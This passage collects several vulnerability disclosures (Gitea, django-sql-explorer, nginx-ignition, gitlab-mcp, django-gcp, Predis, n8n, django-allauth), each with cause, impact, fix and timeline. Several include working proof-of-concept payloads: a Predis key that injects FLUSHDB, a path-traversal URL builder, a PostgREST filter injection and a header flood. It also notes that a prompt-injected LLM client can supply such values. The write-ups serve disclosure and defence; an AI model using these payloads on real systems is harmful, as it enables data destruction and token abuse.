CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N — High, matching the original advisory. Pull mirrors make it persistent: a scheduled git fetch keeps following the same redirect, so new commits on the target keep flowing to the attacker over time. The reachable set is anything the server can talk to — internal Git services, cloud metadata endpoints exposing a Git-over-HTTP surface, or any host an admin deliberately put on the block-list.

The fix

A blanket http.followRedirects=false was never viable, because it breaks the legitimate .git-suffix redirect that many Git hosts issue. The complete fix took a different route: PR #39426, fix(git)!: use internal proxy for all git operations (merged 2026-09-29), routes every git operation through an internal proxy so that each hop can be validated, closing both the redirect-following gap and the related DNS-rebinding hole where the host that passes validation differs from the host that is finally connected to.

For instances that cannot yet take that release, the advisory was updated with mitigation guidance (fronting git’s outbound traffic with a proxy that enforces the host policy). If you run Gitea and allow non-admins to create migrations or pull mirrors, update to a release containing #39426, or apply the proxy mitigation in the meantime.

Timeline

• 2026-07-13 — CVE-2026-57894 / GHSA-82f7-87hm-852x published, marked patched in 1.27.0.
• 2026-09-12 — Reported to Gitea that the 1.27.0 fix was incomplete: HandleGitCmdHTTPRedirection is an empty no-op and the SSRF is still reproducible through v1.27.3 and main.
• 2026-09-28 — Advisory updated with mitigation guidance for older versions; issue confirmed as actively tracked.
• 2026-09-29 — Proper fix merged (#39426, internal proxy for all git operations).

Disclosure

Public advisory: GHSA-82f7-87hm-852x (CVE-2026-57894). Fix: go-gitea/gitea#39426.

django-sql-explorer is a Django app that lets authorized users run and save SQL queries against configured database connections through a web UI. A newer feature, the AI Assistant, adds a chat-style helper that samples table contents to answer questions about the schema. Its two endpoints shipped with no permission check at all — reachable by anyone who could reach the application, logged in or not — and one of them built its sampling query by dropping a client-supplied table name straight into a SQL string. Put those two together and an unauthenticated request could run arbitrary SQL against any database connection Explorer had configured, including the Django application’s own database if it was registered as one.

Background

Every other view in the same module that touches table metadata — TableDescriptionUpdateView, TableDescriptionCheckView, and their siblings — is gated behind PermissionRequiredMixin, checking either view_permission or change_permission depending on what it does. The Assistant views, AssistantHelpView and AssistantHistoryApiView, are just plain Django View subclasses, with nothing checking who’s calling them.

They’re also registered unconditionally: even an installation that never configured EXPLORER_AI_API_KEY (i.e., never intended to turn the Assistant feature on) still exposes these routes.

The vulnerability

POST <explorer-root>/assistant/ accepts a selected_tables field listing which tables the assistant should sample. The sampling code takes each name from that field and interpolates it directly:

cursor.execute(f"SELECT * FROM {table_name} LIMIT 3")

No permission check happens before this runs, and no validation or quoting happens to table_name before it lands in the query string. Since selected_tables is entirely attacker-controlled request body, and nothing checks the caller is even logged in, this is unauthenticated, unauthenticated-user-controlled SQL — not just a limited “which tables can I list” issue.

POST <explorer-root>/assistant/history/ has the same missing permission check, giving unauthenticated access to Assistant history regardless of the SQL injection.

Impact

Depending on the database backend and the privileges of the connection’s configured user, an unauthenticated attacker can read, modify, or delete data through any connection Explorer has registered — including the Django project’s own primary database in installations that expose it through Explorer, which is a supported and common configuration.

Fix

Fixed in 5.3.1. The Assistant endpoints now require EXPLORER_PERMISSION_CHANGE, and table sampling only considers tables actually present in the connection’s introspected schema (respecting the EXPLORER_SCHEMA_INCLUDE_TABLE_PREFIXES / EXPLORER_SCHEMA_EXCLUDE_TABLE_PREFIXES settings), with the table name quoted as an identifier rather than interpolated raw.

pip install --upgrade 'django-sql-explorer>=5.3.1'

If you can’t upgrade immediately, block requests to the assistant/ and assistant/history/ paths under your Explorer URL prefix at your reverse proxy — leaving EXPLORER_AI_API_KEY unset does not mitigate this, since the endpoints are registered regardless.

Timeline

• 2026-09-10 — Reported to the maintainer.
• 2026-09-25 — Maintainer replied, fixed and released 5.3.1 the same day.
• 2026-09-25 — Advisory published as GHSA-cj2v-7pv9-p63r, Critical (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8).

Disclosure

Full advisory: GHSA-cj2v-7pv9-p63r.

nginx-ignition ships a small i18n middleware that reads the Accept-Language header on every request and picks the first language it supports. An earlier advisory (GHSA-jr34-h97m-9hpx) showed that header could be abused for a quadratic-cost CPU attack, and the maintainer added a guard against it. That guard counts the wrong thing: it bounds the number of -/_ characters in the header, not the number of comma-separated language tags or the header’s total length. A header built from many short, valid-but-unsupported tags sails straight past it and still costs 50x more CPU than the same number of bytes the server doesn’t parse.

Background

The middleware runs on every single request, unauthenticated, before routing even happens:

const maximumLanguageTags = 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
	return func(ginCtx *gin.Context) {
		lang := commands.DefaultLanguage()

		langHeader := ginCtx.GetHeader("Accept-Language")
		if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maximumLanguageTags {
			langHeader = ""
		}

		tags, _, err := language.ParseAcceptLanguage(langHeader)
		if err == nil && len(tags) > 0 {
			for _, tag := range tags {
				if commands.Supports(tag) {
					lang = tag
					break
				}
			}
		}

The maximumLanguageTags check was added specifically to close the prior advisory’s exploit path — it assumes counting separator characters is a good enough proxy for how expensive the header will be to process.

The vulnerability

It isn’t, for two reasons:

1. golang.org/x/text’s ParseAcceptLanguage splits the input on , before it ever looks at hyphens or underscores. A header made of thousands of comma-separated two-letter tags (aa,aa,aa,...) can have a hyphen/underscore count of exactly zero and still contain hundreds of thousands of tags.
2. When a tag parses successfully but doesn’t match any language the server actually supports, the middleware’s loop never breaks early — it calls commands.Supports(tag) for every tag, and each of those calls scans all 11 supported-language dictionaries.

So a 1 MB header of aa, repeated has a separator count of zero (no hyphens, no underscores — the guard never fires), parses as ~333,000 valid-but-unsupported tags, and makes the middleware do a full 11-dictionary scan for every single one of them before giving up and falling back to the default language.

Measured against the official 2.45.1 release binary, that header costs 306 ms of server CPU per request — versus 6 ms for the same 1 MB sent in a header nobody parses. A single connection sustaining that traffic at 32.5 Mbit/s keeps 1.28 CPU cores busy on the server the entire time.

Reachable path

No credentials, no session, no valid application state — a single HTTP request to any path (the middleware is global, so the target endpoint doesn’t even need to exist):

GET /api/i18n HTTP/1.1
Host: target
Accept-Language: aa,aa,aa,... (1 MB)

Impact

Unauthenticated, bandwidth-bounded CPU exhaustion against the nginx-ignition API listener. One attacker connection uploading roughly 32.5 Mbit/s of Accept-Language header keeps more than one CPU core busy on the server; two such connections saturate a two-vCPU host, three or four saturate a four-core one — and since nginx-ignition typically shares the box with the nginx instance it manages, that instance’s availability degrades along with it. Confidentiality and integrity are unaffected — this is purely an availability issue.

Suggested fix

Bound the two quantities the existing guard leaves open, before the header ever reaches the parser:

const (
	maximumLanguageTags = 10   // existing: separator cap
	maximumHeaderBytes  = 128  // new: real Accept-Language values are tiny
)

langHeader := ginCtx.GetHeader("Accept-Language")
if len(langHeader) > maximumHeaderBytes ||
	strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maximumLanguageTags ||
	strings.Count(langHeader, ",") > maximumLanguageTags {
	langHeader = ""
}

The middleware only ever needs the first tag it supports, so anything past a handful of bytes is already more than a legitimate client would ever send.

Timeline

• 2026-09-23 — Reported via GitHub’s private security-advisory reporting.
• 2026-09-23/24 — Fixed same day, shipped in 2.45.2.
• 2026-09-24 — Advisory published as GHSA-969c-hr69-6q97, High (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5).

Disclosure

Full advisory: GHSA-969c-hr69-6q97.

zereight/gitlab-mcp is an MCP server that lets an LLM client call GitLab’s API on an operator’s behalf — list projects, download release assets, pull job artifacts, and so on, using a token configured on the server side. Two of its tools, download_release_asset and get_job_artifact_file, plus two HTTP download-proxy routes, build a GitLab API URL by splicing in a caller-supplied path. A previous advisory against this exact code (GHSA-4rm9-rfp2-j39q) already found that the raw path could escape its intended prefix via ../ segments, and the maintainer shipped a fix: a helper called encodeGitLabPath that “encodes” the path before use.

The fix doesn’t work. encodeGitLabPath never touches a .. segment, so the traversal it was written to stop is still live — in the exact function it patched, plus three more call sites that share the same helper.

Background

encodeGitLabPath and encodeGitLabPathSegment exist to safely handle a path that legitimately contains /-separated segments (a nested file path inside a release or artifact) without turning every / into %2F, which would break normal multi-segment paths:

function encodeGitLabPathSegment(value: string): string {
  return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value: string): string {
  return value.split("/").map(encodeGitLabPathSegment).join("/");
}

The idea is: split on /, percent-encode each piece on its own, rejoin. That should stop a segment from containing anything that lets it break out of its slot in the URL.

The vulnerability

encodeURIComponent treats . as an unreserved character — it is specified to never encode it. Split "../../../../user" on / and you get ["..", "..", "..", "..", "user"]; run encodeGitLabPathSegment on each piece and every one of them comes back completely unchanged, because there is nothing in a .. segment for encodeURIComponent to encode. Rejoining reproduces the exact input string. The “encoding” step does nothing at all to a dot-segment payload.

The result is then embedded in a template literal and handed to new URL(...) — which does collapse dot-segments, per RFC 3986 §5.2.4. That’s the one part of the URL spec encodeGitLabPath needed to defend against, and it doesn’t.

Four call sites reproduce this pattern, all reachable and all unpatched at the time of reporting:

// 1. downloadReleaseAsset() — the exact function GHSA-4rm9 was filed against
`${apiUrl}/projects/${encodeURIComponent(projectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`

// 2. getJobArtifactFile() — inlines the identical split/map/join logic
//    instead of calling the shared helper, but is exactly as vulnerable
`${apiUrl}/projects/${encodeURIComponent(projectId)}/jobs/${encodeGitLabPathSegment(jobId)}/artifacts/${encodedArtifactPath}`

// 3. downloads/proxy.ts "attachment" route (filename query param)
`${apiUrl}/projects/${encodeURIComponent(projectId)}/uploads/${encodeGitLabPathSegment(secret)}/${encodeGitLabPath(filename)}`

// 4. downloads/proxy.ts "release-asset" route (direct_asset_path query param)
`${apiUrl}/projects/${encodeURIComponent(projectId)}/releases/${encodeURIComponent(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`

A minimal proof of concept needs no live GitLab instance at all — the escape happens purely in URL construction, before any network request:

function encodeGitLabPathSegment(value) {
  return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value) {
  return value.split("/").map(encodeGitLabPathSegment).join("/");
}

const apiUrl = "https://gitlab.example.com/api/v4";
const directAssetPath = "../../../../user"; // attacker-controlled

const url = `${apiUrl}/projects/1/releases/v1.0.0/downloads/${encodeGitLabPath(directAssetPath)}`;
console.log(new URL(url).toString());
// -> https://gitlab.example.com/api/v4/projects/user

The intended /projects/{id}/releases/{tag}/downloads/ prefix disappears entirely; the request lands on /api/v4/projects/user instead.

Impact

Any caller of download_release_asset or get_job_artifact_file — or either affected HTTP download-proxy route — can redirect the request the server makes, carrying the operator’s real GitLab token, to an arbitrary GET /api/v4/... endpoint instead of the intended download. That reaches things like /api/v4/user (the token owner’s account details) or other projects’ and groups’ data the calling tool was never meant to expose. Since this is an MCP tool argument, the value doesn’t have to come from a deliberately malicious human operator — an LLM client steered by a prompt-injected instruction can supply it just as easily.

The scope is limited to the operator’s own configured GitLab host — this is request-path forgery within that instance, not external SSRF — but within that scope, it turns a narrowly-scoped download feature into a way to read anything the configured token can read.

Timeline

• 2026-09-16 — Reported to the maintainer via GitHub’s private security-advisory reporting, with a runnable proof of concept covering all four call sites.
• 2026-09-23 — Advisory published as GHSA-m682-5gg2-5rc9, High (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5).
• Fixed in 2.1.65.

Disclosure

Full advisory: GHSA-m682-5gg2-5rc9.

django-gcp gives a Django app three routes for Google Cloud Tasks and PubSub-driven events. All three are meant to be called only by Google Cloud itself — but nothing in the package checks that. Any anonymous request that can reach the URL can run whatever task the application registered, with whatever arguments it likes, or inject an arbitrary event into the app’s event-handling code.

Background

django_gcp/urls.py wires up:

urlpatterns = [
    path(r"events/<event_kind>/<event_reference>", GoogleCloudEventsView.as_view(), name="gcp-events"),
    path(r"subscriber-tasks/<task_name>", GoogleCloudSubscriberTaskView.as_view(), name="gcp-subscriber-tasks"),
    path(r"tasks/<task_name>", GoogleCloudTaskView.as_view(), name="gcp-tasks"),
]

All three views are plain Django View subclasses, decorated csrf_exempt (necessary, since Google Cloud won’t send a CSRF token) — but nothing else stands in for the authentication that decision removed.

GoogleCloudTaskView.post() selects a task class by the task_name URL segment and turns the request body straight into that task’s keyword arguments:

task_class = self.tasks[task_name]
task = task_class()
task_kwargs = task._body_to_kwargs(request_body=request.body)  # json.loads(body)
result = task.execute(**task_kwargs)

GoogleCloudEventsView.post() fires an event_received signal carrying the URL’s event_kind and event_reference, the JSON body, and the query string — again, with nothing checking who sent the request.

The documentation does warn that these routes should sit behind platform IAM — an internal-ingress-only Cloud Run service, or an authenticating proxy in front of it — but that’s an operator responsibility, not something the package enforces. Nothing about the routes themselves signals that they’re unprotected by default.

Notably, the package already ships the exact mechanism this needed: django_gcp/workflows/oidc.py provides verify_workflow_oidc_token and workflow_oidc_required, which check a token’s signature, verify the audience matches the request URI, and check the signing service account against an allow-list. That guard exists — it’s just scoped to a different feature (workflows) and never applied to tasks or events.

Impact

Anyone who can reach the URL can invoke any registered task with arguments of their choosing. Task handlers are backend jobs — refunds, provisioning, deletion, third-party sync, sending mail — and are commonly written with no authorization checks of their own, precisely because they’re only supposed to be reachable from Cloud Tasks:

POST /gcp/tasks/RefundCustomerTask
{"account_id": "victim-account-1", "amount": "50000.00"}

-> 200 {"result": "refunded 50000.00 to victim-account-1"}

An unrecognized task name returns the full registry of available tasks in the error response, so an attacker doesn’t need to guess:

POST /gcp/tasks/does-not-exist
-> 404 {"error": "Task does-not-exist not found", "available_tasks": ["RefundCustomerTask"]}

The events endpoint is equally open — an anonymous request can inject whatever event_kind/event_reference/body/query-string it likes into whatever the application has connected to event_received, which commonly drives GCS-notification-triggered file processing.

There’s no deserialization RCE here — the body is parsed with json.loads, not anything that executes arbitrary code on its own — so the actual ceiling depends on what a given deployment’s tasks and event handlers do with their input. For most applications, that’s still a meaningful chunk of backend functionality reachable by anyone on the internet.

Fix

Fixed in 0.27.0 — upgrade following the notes at the 0.27.0 release. If you can’t upgrade immediately, put these three routes behind authenticating infrastructure (internal-ingress Cloud Run, or a proxy that verifies the request actually came from Google) rather than exposing them directly.

Timeline

• 2026-09-11 — Reported via GitHub’s private security-advisory reporting.
• 2026-09-20 — Advisory published as GHSA-m3g2-c3jw-pvxf, High (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L = 8.6).
• Fixed in 0.27.0.

Disclosure

Full advisory: GHSA-m3g2-c3jw-pvxf.

Redis’s wire protocol, RESP, is length-prefixed: an argument states its own byte length up front, so the server reads exactly that many bytes regardless of what they contain. Predis\Connection\AbstractAggregateConnection::write() — a public method on the interface every Predis connection implements, reachable through the ordinary, documented Client::getConnection() call — ignores that and re-derives command boundaries by splitting the buffer on literal \r\n bytes instead. Any value or key that happens to contain \r\n can carve a completely separate, attacker-chosen command out of what should have been a single argument, and have it dispatched to whichever node the connection resolves it to.

Background

write(string $buffer): void is declared on Connection\ConnectionInterface — not an internal helper, but genuinely public API — and does this:

public function write(string $buffer): void
{
    $rawCommands = [];
    $explodedBuffer = explode("\r\n", trim($buffer));

    while (!empty($explodedBuffer)) {
        $argsLen = (int) explode('*', $explodedBuffer[0])[1];
        $cmdLen = ($argsLen * 2) + 1;
        $rawCommands[] = array_splice($explodedBuffer, 0, $cmdLen);
    }

    foreach ($rawCommands as $command) {
        $command = implode("\r\n", $command) . "\r\n";
        $commandObj = Command::deserializeCommand($command);
        $this->getConnectionByCommand($commandObj)->write($command);
    }
}

This function takes an already-correctly-serialized RESP buffer and re-parses it a second time, on the client side, using a byte-delimiter strategy that disagrees with how the protocol it’s re-parsing actually works.

The vulnerability

A bulk-string argument like PAD4\r\n*1\r\n$7\r\nFLUSHDB is, to the real Redis server, a single value of whatever length was declared for it — the embedded \r\n sequences inside it are just bytes, not protocol boundaries, because RESP tells the server how many bytes to read rather than where to stop reading.

AbstractAggregateConnection::write()’s own re-parser doesn’t know that. Splitting that same string on \r\n produces five lines; the parser reads *1 from the second line and concludes a new “command” starts there, consisting of one argument — and reconstructs *1\r\n$7\r\nFLUSHDB\r\n, a complete, syntactically valid FLUSHDB command, as if the calling application had sent it on its own. getConnectionByCommand() then routes this fabricated command to whichever node Predis’s fake routing key happens to hash to for a keyless command like FLUSHDB, and that node executes it.

Because write() sits on the public ConnectionInterface and is reachable via the documented Client::getConnection() method, this doesn’t require any special calling pattern — any code writing a raw buffer to a cluster or replication connection, built from data that includes attacker-influenced keys or values, is exposed.

Proof of concept

Two plain Redis instances standing in as cluster shards, addressed through Predis’s client-side cluster sharding:

$client = new Predis\Client(
    ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'],
    ['cluster' => 'predis']
);

$connection = $client->getConnection(); // documented public API, no pipeline() involved

$key = "slug:PAD4\r\n*1\r\n\$7\r\nFLUSHDB";
$buf = (new Predis\Command\RawCommand('GET', [$key]))->serializeCommand();
$connection->write($buf);

A single GET call — nothing that looks like a write, let alone a FLUSHDB — reliably empties one of the two shards after a handful of attempts (routing to a specific shard depends on which slot the fake routing key hashes to, so success is probabilistic with few shards and approaches certainty as shard count grows):

Before: shard1 dbsize=47, shard2 dbsize=53
  attempt 4: shard1 dbsize=47, shard2 dbsize=0

Impact

Any application using a Predis cluster or replication client that ever writes a raw buffer built from attacker-influenced key or value data through this method is exposed to unauthenticated command injection on a node it never intended to send anything to: cluster-wide FLUSHDB, targeted DEL/SET, key theft via GET, or a CLUSTER FLUSHSLOTS-driven outage. Since the method is a property of the connection object itself, this isn’t tied to any one specific calling pattern in application code.

Fix

Fixed in v3.6.1, which replaces the \r\n-splitting re-parser with logic that walks the buffer by each argument’s own declared byte length, matching how RESP actually works — an embedded \r\n inside a value can no longer be reinterpreted as a fresh command boundary.

Timeline

The path to a fix wasn’t a straight line. The initial report was closed without engagement the same day it was filed; a public follow-up laying out exactly what a related, earlier fix had and hadn’t covered got the maintainer to re-open it, and a contributor shipped the real fix days later.

• 2026-09-14 — Reported via GitHub’s private security-advisory reporting.
• 2026-09-14 — Closed by the maintainer without comment, a few hours later.
• 2026-09-14 — Public follow-up opened, explaining the specific reachable path in more detail.
• 2026-09-15 — Maintainer re-engaged, advisory reopened and formally accepted; a fix shipped shortly after in a pull request rewriting the vulnerable method to use length-prefixed parsing.
• 2026-09-17 — Fix released in v3.6.1; advisory published as GHSA-v32q-pmmw-cf38, Critical (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8).

Disclosure

Full advisory: GHSA-v32q-pmmw-cf38.

n8n’s Supabase node offers two ways to filter which rows a Get Many, Update, or Delete operation touches: a structured “Build Manually” mode, and a raw “Filters (String)” mode where you write the PostgREST filter expression yourself. n8n had already fixed a filter-injection bug in “Build Manually.” “Filters (String)” has the identical class of bug, completely unescaped, and no safe alternative exists for that mode at all.

Background

PostgREST — the query layer Supabase’s REST API is built on — parses filter expressions like or=(email.eq.alice@example.com) from the query string. Certain characters (,&=():@) are structurally meaningful to that parser, so any value inserted into a filter expression needs those characters escaped or the expression’s boundaries can be redrawn by whoever controls the value.

“Filters (String)” mode takes exactly that risk and does nothing about it:

if (filterType === 'string') {
    const filterString = this.getNodeParameter('filterString', i) as string;
    endpoint = `${endpoint}?${encodeURI(filterString)}`;
}

filterString is a normal n8n expression field, so a workflow commonly builds it from external input — a webhook body, for instance — to parameterize a lookup like:

or=(email.eq.{{ $json.body.email }})

encodeURI() deliberately leaves PostgREST’s reserved characters unescaped; it isn’t a security boundary here, it’s meant for building valid URLs out of already-trusted strings. There’s no escaping function anywhere in this path, and — unlike “Build Manually,” which has a parameterized, safe alternative — there’s no safe equivalent for this mode at all.

The vulnerability

Feed the filter a value containing a comma, and the comma closes the intended condition and opens a new, attacker-chosen one. Given a workflow with:

Filters (String) = or=(email.eq.{{ $json.body.email }})

a normal request {"email": "alice@example.com"} returns exactly Alice’s row, as intended. A request with:

{"email": "nobody@x.com,id.gt.0"}

produces the filter or=(email.eq.nobody@x.com,id.gt.0) — the comma ends the email.eq. condition and adds id.gt.0, an always-true condition on every row’s primary key. The query now matches every row in the table instead of the zero rows a nonexistent email should have matched.

The same unescaped pattern exists identically in all three operations that offer this mode — Get Many, Update, and Delete — so the same technique that widens a read to every row also widens a delete to every row: a single crafted request against a Delete operation using this mode can empty the entire table in one call.

Impact

Where a workflow builds a “Filters (String)” value from untrusted input, whoever controls that input can widen the operation’s scope from “the row they were supposed to match” to “every row in the table” — reading rows they shouldn’t see, or updating or deleting rows they shouldn’t be able to touch at all.

Fix

Fixed in 1.123.80, 2.39.6, and 2.40.1 — upgrade to one of these versions or later.

If you can’t upgrade immediately: audit workflows using “Filters (String)” for any that build the filter from untrusted data, and switch those to “Build Manually” instead, which uses parameterized filter construction and isn’t affected. Restricting access to whatever trigger feeds the untrusted data (a webhook, for instance) is a partial mitigation at best.

Timeline

• Reported to security@n8n.io, n8n’s vulnerability disclosure program.
• Passed initial triage; confirmed still present in the then-latest release before a status follow-up.
• 2026-09-16 — Advisory published as GHSA-xrqg-3xcp-h45x, High (CVSS 4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H = 7.1).

Disclosure

Full advisory: GHSA-xrqg-3xcp-h45x.

django-allauth’s built-in rate limiter is the only thing standing between an attacker who already has a password and a valid TOTP code — a 6-digit number with a 30-second lifetime. The limiter’s own docstring acknowledged it could let “a few” extra requests through under concurrency and called that an acceptable margin of error. It wasn’t a few. At 1024 concurrent requests against a 5-per-5-minutes limit, 984 got through — a 197x overrun, scaling directly with how many requests an attacker sends at once.

Background

allauth/mfa/base/internal/flows.py’s check_rate_limit gates both TOTP and WebAuthn login attempts through allauth/core/internal/ratelimit.py’s _consume_single_rate, keyed per-user (mfa-auth-user-<pk>), defaulting to 5 attempts per 300 seconds. Since MFA_TOTP_TOLERANCE defaults to 0, this limiter is the entire defense against brute-forcing a 6-digit code once an attacker already holds the password — normally an acceptable design, because 5 guesses per window makes brute force impractical.

The module’s docstring was explicit about the race and, incorrectly, about its bound:

you may occasionally observe slight overruns—such as 11 or 12 requests slipping through … exceeding the limit by a large margin is highly unlikely.

The vulnerability

_consume_single_rate does a plain cache.get → compute → cache.set, with no atomic operation, and writes back the entire timestamp list rather than incrementing a counter. Two concurrent callers that both read before either writes will both see room under the limit, and the second write clobbers whatever the first one recorded — the classic check-then-act race, just on a cache instead of a database row.

Measured against a Redis-backed limiter (the backend most production deployments would actually run), with a 5-per-300s limit:

The overrun scales with attacker concurrency, not with a fixed small constant the way the docstring described. It does converge after the first burst — a second wave against the same already-exhausted window let through zero further requests, so this is one large overshoot per window rather than an unbounded leak. End-to-end against a real running /accounts/2fa/authenticate/ endpoint (concurrency capped lower than the limiter-level test by what a single-process dev server can actually fire simultaneously): 128 concurrent guesses got 65 evaluated against an intended limit of 5, versus exactly 5 when the same guesses were sent sequentially.

LocMemCache — a single-process in-memory cache — doesn’t show this at all; a single Python-level lock effectively serializes access to it regardless of what the rate-limiter code itself does. The race only becomes observable with a real shared cache backend, which is exactly what a multi-worker production deployment requires. That’s likely why the docstring’s stated bound, while wrong, wasn’t obviously wrong from whatever testing produced it.

Impact

For an attacker who already has a victim’s password, TOTP’s only remaining defense is that a 6-digit code has 300 seconds to be guessed correctly out of a nominal 5 tries. A 197x overrun on that limit turns “5 guesses per 5-minute window” into “closer to a thousand guesses per window” for anyone willing to fire enough concurrent requests — a materially different brute-force cost against a 6-digit space.

Fix

The maintainer’s fix wraps the whole read-modify-write critical section in a cache.add()-based mutex — a lock built from the one operation every Django cache backend implements atomically, rather than a Redis-specific INCR/Lua approach that wouldn’t generalize across backends. Failing to acquire the lock is treated as “over the limit,” so the rate limiter fails closed rather than open under lock contention.

Verified against the same concurrency sweep: exactly 5 requests allowed at every concurrency level from 8 to 1024, both at the limiter level and end-to-end over real HTTP, with legitimate TOTP codes still authenticating normally and sequential requests still cutting off at exactly 5. The one real trade-off worth naming: past a few hundred truly concurrent callers on the same key, the lock queues and a 1024-way burst’s wall time rises to around 2.3 seconds — denials mostly shift from “over limit” to “lock timeout,” but the limiter still fails closed either way.

Timeline

• 2026-09-11 — Reported by email (django-allauth’s rate-limit documentation names email as the reporting channel; GitHub private vulnerability reporting isn’t enabled on this repo).
• 2026-09-11 — Maintainer fixed the same day (fix(ratelimit): atomic updates), released in 65.19.3, with a public security notice in the changelog crediting the report.

Disclosure

No formal CVE/GHSA was filed for this one — django-allauth disclosed it directly through a security notice in its own changelog, released the same day as the fix:

A known flaw in the built-in rate limiting was that the configured limits could be exceeded under a high volume of concurrent requests. This was documented as an acceptably small margin of error. However, as Kaya Emre Arikan (kemrec) demonstrated, the limits could be substantially exceeded under a sufficiently high volume of concurrent requests. This is now fixed by serializing rate limit updates.

Full changelog entry: ChangeLog.rst, 65.19.3.